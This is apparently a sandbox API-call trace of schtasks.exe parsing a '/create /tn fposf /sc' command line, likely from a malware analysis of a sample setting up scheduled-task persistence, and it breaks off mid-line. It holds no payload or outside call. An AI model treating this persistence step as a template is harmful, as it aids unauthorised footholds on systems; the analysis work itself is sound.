1 [0085.366] lstrlenW (lpString="schtasks.exe") returned 12 [0085.366] lstrlenW (lpString="schtasks.exe") returned 12 [0085.366] lstrlenW (lpString=".EXE") returned 4 [0085.366] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0085.366] lstrlenW (lpString="schtasks.exe") returned 12 [0085.366] lstrlenW (lpString=".EXE") returned 4 [0085.366] lstrlenW (lpString="schtasks") returned 8 [0085.366] lstrlenW (lpString="/create") returned 7 [0085.366] _memicmp (_Buf1=0xebb80, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.366] _vsnwprintf (in: _Buffer=0xebd20, _BufferCount=0x19, _Format="%s %s", _ArgList=0x25c6d8 | out: _Buffer="schtasks /create") returned 16 [0085.366] _memicmp (_Buf1=0xebba0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.366] GetProcessHeap () returned 0xd0000 [0085.366] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x20) returned 0xece70 [0085.366] _memicmp (_Buf1=0xebbc0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.366] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0xed3d0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0085.366] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0085.366] GetProcessHeap () returned 0xd0000 [0085.366] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0xc, Size=0x30) returned 0xe7be0 [0085.367] _vsnwprintf (in: _Buffer=0xec120, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x25c6d8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0085.367] GetProcessHeap () returned 0xd0000 [0085.367] GetProcessHeap () returned 0xd0000 [0085.367] HeapValidate (hHeap=0xd0000, dwFlags=0x0, lpMem=0xede50) returned 1 [0085.367] GetProcessHeap () returned 0xd0000 [0085.367] RtlSizeHeap (HeapHandle=0xd0000, Flags=0x0, MemoryPointer=0xede50) returned 0x74e [0085.367] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xede50 | out: hHeap=0xd0000) returned 1 [0085.367] SetLastError (dwErrCode=0x0) [0085.367] GetThreadLocale () returned 0x409 [0085.367] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.367] lstrlenW (lpString="create") returned 6 [0085.367] GetThreadLocale () returned 0x409 [0085.367] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.367] lstrlenW (lpString="?") returned 1 [0085.367] GetThreadLocale () returned 0x409 [0085.368] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.368] lstrlenW (lpString="s") returned 1 [0085.368] GetThreadLocale () returned 0x409 [0085.368] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.368] lstrlenW (lpString="u") returned 1 [0085.368] GetThreadLocale () returned 0x409 [0085.368] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.368] lstrlenW (lpString="p") returned 1 [0085.368] GetThreadLocale () returned 0x409 [0085.368] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.368] lstrlenW (lpString="ru") returned 2 [0085.368] GetThreadLocale () returned 0x409 [0085.368] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.368] lstrlenW (lpString="rp") returned 2 [0085.368] GetThreadLocale () returned 0x409 [0085.368] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.368] lstrlenW (lpString="sc") returned 2 [0085.368] GetThreadLocale () returned 0x409 [0085.368] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.368] lstrlenW (lpString="mo") returned 2 [0085.368] GetThreadLocale () returned 0x409 [0085.368] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.368] lstrlenW (lpString="d") returned 1 [0085.368] GetThreadLocale () returned 0x409 [0085.368] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.368] lstrlenW (lpString="m") returned 1 [0085.368] GetThreadLocale () returned 0x409 [0085.369] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.369] lstrlenW (lpString="i") returned 1 [0085.369] GetThreadLocale () returned 0x409 [0085.369] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.369] lstrlenW (lpString="tn") returned 2 [0085.369] GetThreadLocale () returned 0x409 [0085.369] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.369] lstrlenW (lpString="tr") returned 2 [0085.369] GetThreadLocale () returned 0x409 [0085.369] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.369] lstrlenW (lpString="st") returned 2 [0085.369] GetThreadLocale () returned 0x409 [0085.369] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.369] lstrlenW (lpString="sd") returned 2 [0085.369] GetThreadLocale () returned 0x409 [0085.369] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.369] lstrlenW (lpString="ed") returned 2 [0085.369] GetThreadLocale () returned 0x409 [0085.369] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.369] lstrlenW (lpString="it") returned 2 [0085.370] GetThreadLocale () returned 0x409 [0085.370] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.370] lstrlenW (lpString="et") returned 2 [0085.370] GetThreadLocale () returned 0x409 [0085.370] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.370] lstrlenW (lpString="k") returned 1 [0085.370] GetThreadLocale () returned 0x409 [0085.370] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.370] lstrlenW (lpString="du") returned 2 [0085.370] GetThreadLocale () returned 0x409 [0085.370] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.370] lstrlenW (lpString="ri") returned 2 [0085.370] GetThreadLocale () returned 0x409 [0085.370] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.370] lstrlenW (lpString="z") returned 1 [0085.370] GetThreadLocale () returned 0x409 [0085.370] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.370] lstrlenW (lpString="f") returned 1 [0085.370] GetThreadLocale () returned 0x409 [0085.370] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.370] lstrlenW (lpString="v1") returned 2 [0085.370] GetThreadLocale () returned 0x409 [0085.371] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.371] lstrlenW (lpString="xml") returned 3 [0085.371] GetThreadLocale () returned 0x409 [0085.371] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.371] lstrlenW (lpString="ec") returned 2 [0085.371] GetThreadLocale () returned 0x409 [0085.371] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.371] lstrlenW (lpString="rl") returned 2 [0085.371] GetThreadLocale () returned 0x409 [0085.371] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.371] lstrlenW (lpString="delay") returned 5 [0085.371] GetThreadLocale () returned 0x409 [0085.371] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.371] lstrlenW (lpString="np") returned 2 [0085.371] SetLastError (dwErrCode=0x0) [0085.371] SetLastError (dwErrCode=0x0) [0085.371] lstrlenW (lpString="/create") returned 7 [0085.371] lstrlenW (lpString="-/") returned 2 [0085.371] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.371] lstrlenW (lpString="create") returned 6 [0085.372] lstrlenW (lpString="create") returned 6 [0085.372] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.372] lstrlenW (lpString="create") returned 6 [0085.372] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.372] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|create|") returned 8 [0085.372] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|create|") returned 8 [0085.372] lstrlenW (lpString="|create|") returned 8 [0085.372] lstrlenW (lpString="|create|") returned 8 [0085.372] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0085.372] SetLastError (dwErrCode=0x0) [0085.372] SetLastError (dwErrCode=0x0) [0085.372] SetLastError (dwErrCode=0x0) [0085.372] lstrlenW (lpString="/tn") returned 3 [0085.372] lstrlenW (lpString="-/") returned 2 [0085.372] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.372] lstrlenW (lpString="create") returned 6 [0085.372] lstrlenW (lpString="create") returned 6 [0085.372] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.372] lstrlenW (lpString="tn") returned 2 [0085.372] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.372] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|create|") returned 8 [0085.372] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tn|") returned 4 [0085.372] lstrlenW (lpString="|create|") returned 8 [0085.373] lstrlenW (lpString="|tn|") returned 4 [0085.373] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0085.373] SetLastError (dwErrCode=0x490) [0085.373] lstrlenW (lpString="?") returned 1 [0085.373] lstrlenW (lpString="?") returned 1 [0085.373] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.373] lstrlenW (lpString="tn") returned 2 [0085.373] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.373] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|?|") returned 3 [0085.373] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tn|") returned 4 [0085.373] lstrlenW (lpString="|?|") returned 3 [0085.373] lstrlenW (lpString="|tn|") returned 4 [0085.373] SetLastError (dwErrCode=0x490) [0085.373] lstrlenW (lpString="s") returned 1 [0085.373] lstrlenW (lpString="s") returned 1 [0085.373] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.373] lstrlenW (lpString="tn") returned 2 [0085.373] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.373] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|s|") returned 3 [0085.373] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tn|") returned 4 [0085.373] lstrlenW (lpString="|s|") returned 3 [0085.373] lstrlenW (lpString="|tn|") returned 4 [0085.373] SetLastError (dwErrCode=0x490) [0085.374] lstrlenW (lpString="u") returned 1 [0085.374] lstrlenW (lpString="u") returned 1 [0085.374] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.374] lstrlenW (lpString="tn") returned 2 [0085.374] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.374] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|u|") returned 3 [0085.374] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tn|") returned 4 [0085.374] lstrlenW (lpString="|u|") returned 3 [0085.374] lstrlenW (lpString="|tn|") returned 4 [0085.374] SetLastError (dwErrCode=0x490) [0085.374] lstrlenW (lpString="p") returned 1 [0085.374] lstrlenW (lpString="p") returned 1 [0085.374] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.374] lstrlenW (lpString="tn") returned 2 [0085.374] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.374] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|p|") returned 3 [0085.374] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tn|") returned 4 [0085.374] lstrlenW (lpString="|p|") returned 3 [0085.374] lstrlenW (lpString="|tn|") returned 4 [0085.374] SetLastError (dwErrCode=0x490) [0085.374] lstrlenW (lpString="ru") returned 2 [0085.374] lstrlenW (lpString="ru") returned 2 [0085.374] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.375] lstrlenW (lpString="tn") returned 2 [0085.375] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.375] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|ru|") returned 4 [0085.375] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tn|") returned 4 [0085.375] lstrlenW (lpString="|ru|") returned 4 [0085.375] lstrlenW (lpString="|tn|") returned 4 [0085.375] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0085.375] SetLastError (dwErrCode=0x490) [0085.375] lstrlenW (lpString="rp") returned 2 [0085.375] lstrlenW (lpString="rp") returned 2 [0085.375] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.375] lstrlenW (lpString="tn") returned 2 [0085.375] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.375] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|rp|") returned 4 [0085.375] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tn|") returned 4 [0085.375] lstrlenW (lpString="|rp|") returned 4 [0085.375] lstrlenW (lpString="|tn|") returned 4 [0085.375] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0085.375] SetLastError (dwErrCode=0x490) [0085.375] lstrlenW (lpString="sc") returned 2 [0085.375] lstrlenW (lpString="sc") returned 2 [0085.375] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.376] lstrlenW (lpString="tn") returned 2 [0085.376] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.376] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|sc|") returned 4 [0085.376] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tn|") returned 4 [0085.376] lstrlenW (lpString="|sc|") returned 4 [0085.376] lstrlenW (lpString="|tn|") returned 4 [0085.376] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0085.376] SetLastError (dwErrCode=0x490) [0085.376] lstrlenW (lpString="mo") returned 2 [0085.376] lstrlenW (lpString="mo") returned 2 [0085.376] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.376] lstrlenW (lpString="tn") returned 2 [0085.376] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.376] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|mo|") returned 4 [0085.376] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tn|") returned 4 [0085.376] lstrlenW (lpString="|mo|") returned 4 [0085.376] lstrlenW (lpString="|tn|") returned 4 [0085.376] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0085.376] SetLastError (dwErrCode=0x490) [0085.376] lstrlenW (lpString="d") returned 1 [0085.376] lstrlenW (lpString="d") returned 1 [0085.376] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.376] lstrlenW (lpString="tn") returned 2 [0085.377] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.377] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|d|") returned 3 [0085.377] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tn|") returned 4 [0085.377] lstrlenW (lpString="|d|") returned 3 [0085.377] lstrlenW (lpString="|tn|") returned 4 [0085.377] SetLastError (dwErrCode=0x490) [0085.377] lstrlenW (lpString="m") returned 1 [0085.377] lstrlenW (lpString="m") returned 1 [0085.377] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.377] lstrlenW (lpString="tn") returned 2 [0085.377] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.377] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|m|") returned 3 [0085.377] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tn|") returned 4 [0085.377] lstrlenW (lpString="|m|") returned 3 [0085.377] lstrlenW (lpString="|tn|") returned 4 [0085.377] SetLastError (dwErrCode=0x490) [0085.377] lstrlenW (lpString="i") returned 1 [0085.377] lstrlenW (lpString="i") returned 1 [0085.377] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.377] lstrlenW (lpString="tn") returned 2 [0085.377] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.377] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|i|") returned 3 [0085.377] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tn|") returned 4 [0085.378] lstrlenW (lpString="|i|") returned 3 [0085.378] lstrlenW (lpString="|tn|") returned 4 [0085.378] SetLastError (dwErrCode=0x490) [0085.378] lstrlenW (lpString="tn") returned 2 [0085.378] lstrlenW (lpString="tn") returned 2 [0085.378] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.378] lstrlenW (lpString="tn") returned 2 [0085.378] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.378] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tn|") returned 4 [0085.378] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|tn|") returned 4 [0085.378] lstrlenW (lpString="|tn|") returned 4 [0085.378] lstrlenW (lpString="|tn|") returned 4 [0085.378] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0085.378] SetLastError (dwErrCode=0x0) [0085.378] SetLastError (dwErrCode=0x0) [0085.378] lstrlenW (lpString="fposf") returned 5 [0085.378] lstrlenW (lpString="-/") returned 2 [0085.378] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0085.378] SetLastError (dwErrCode=0x490) [0085.378] SetLastError (dwErrCode=0x490) [0085.378] SetLastError (dwErrCode=0x0) [0085.378] lstrlenW (lpString="fposf") returned 5 [0085.378] StrChrIW (lpStart="fposf", wMatch=0x3a) returned 0x0 [0085.379] SetLastError (dwErrCode=0x490) [0085.379] SetLastError (dwErrCode=0x0) [0085.379] lstrlenW (lpString="fposf") returned 5 [0085.379] SetLastError (dwErrCode=0x0) [0085.379] SetLastError (dwErrCode=0x0) [0085.379] lstrlenW (lpString="/sc") returned 3 [0085.379] lstrlenW (lpString="-/") returned 2 [0085.379] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.379] lstrlenW (lpString="create") returned 6 [0085.379] lstrlenW (lpString="create") returned 6 [0085.379] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.379] lstrlenW (lpString="sc") returned 2 [0085.379] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.379] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|create|") returned 8 [0085.379] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|sc|") returned 4 [0085.379] lstrlenW (lpString="|create|") returned 8 [0085.379] lstrlenW (lpString="|sc|") returned 4 [0085.379] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0085.379] SetLastError (dwErrCode=0x490) [0085.379] lstrlenW (lpString="?") returned 1 [0085.379] lstrlenW (lpString="?") returned 1 [0085.379] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.379] lstrlenW (lpString="sc") returned 2 [0085.379] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.380] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|?|") returned 3 [0085.380] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|sc|") returned 4 [0085.380] lstrlenW (lpString="|?|") returned 3 [0085.380] lstrlenW (lpString="|sc|") returned 4 [0085.380] SetLastError (dwErrCode=0x490) [0085.380] lstrlenW (lpString="s") returned 1 [0085.380] lstrlenW (lpString="s") returned 1 [0085.380] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.380] lstrlenW (lpString="sc") returned 2 [0085.380] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.380] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|s|") returned 3 [0085.380] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|sc|") returned 4 [0085.380] lstrlenW (lpString="|s|") returned 3 [0085.380] lstrlenW (lpString="|sc|") returned 4 [0085.380] SetLastError (dwErrCode=0x490) [0085.380] lstrlenW (lpString="u") returned 1 [0085.380] lstrlenW (lpString="u") returned 1 [0085.380] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.380] lstrlenW (lpString="sc") returned 2 [0085.380] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.380] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|u|") returned 3 [0085.380] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|sc|") returned 4 [0085.381] lstrlenW (lpString="|u|") returned 3 [0085.381] lstrlenW (lpString="|sc|") returned 4 [0085.381] SetLastError (dwErrCode=0x490) [0085.381] lstrlenW (lpString="p") returned 1 [0085.381] lstrlenW (lpString="p") returned 1 [0085.381] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.381] lstrlenW (lpString="sc") returned 2 [0085.381] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.381] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|p|") returned 3 [0085.381] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|sc|") returned 4 [0085.381] lstrlenW (lpString="|p|") returned 3 [0085.381] lstrlenW (lpString="|sc|") returned 4 [0085.381] SetLastError (dwErrCode=0x490) [0085.381] lstrlenW (lpString="ru") returned 2 [0085.381] lstrlenW (lpString="ru") returned 2 [0085.381] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.381] lstrlenW (lpString="sc") returned 2 [0085.381] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.381] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|ru|") returned 4 [0085.381] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|sc|") returned 4 [0085.381] lstrlenW (lpString="|ru|") returned 4 [0085.381] lstrlenW (lpString="|sc|") returned 4 [0085.381] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0085.381] SetLastError (dwErrCode=0x490) [0085.382] lstrlenW (lpString="rp") returned 2 [0085.382] lstrlenW (lpString="rp") returned 2 [0085.382] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.382] lstrlenW (lpString="sc") returned 2 [0085.382] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.382] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|rp|") returned 4 [0085.382] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|sc|") returned 4 [0085.382] lstrlenW (lpString="|rp|") returned 4 [0085.382] lstrlenW (lpString="|sc|") returned 4 [0085.382] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0085.382] SetLastError (dwErrCode=0x490) [0085.382] lstrlenW (lpString="sc") returned 2 [0085.382] lstrlenW (lpString="sc") returned 2 [0085.382] _memicmp (_Buf1=0xec1d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.382] lstrlenW (lpString="sc") returned 2 [0085.382] _memicmp (_Buf1=0xec310, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.382] _vsnwprintf (in: _Buffer=0xec350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: _Buffer="|sc|") returned 4 [0085.382] _vsnwprintf (in: _Buffer=0xec330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c6e8 | out: 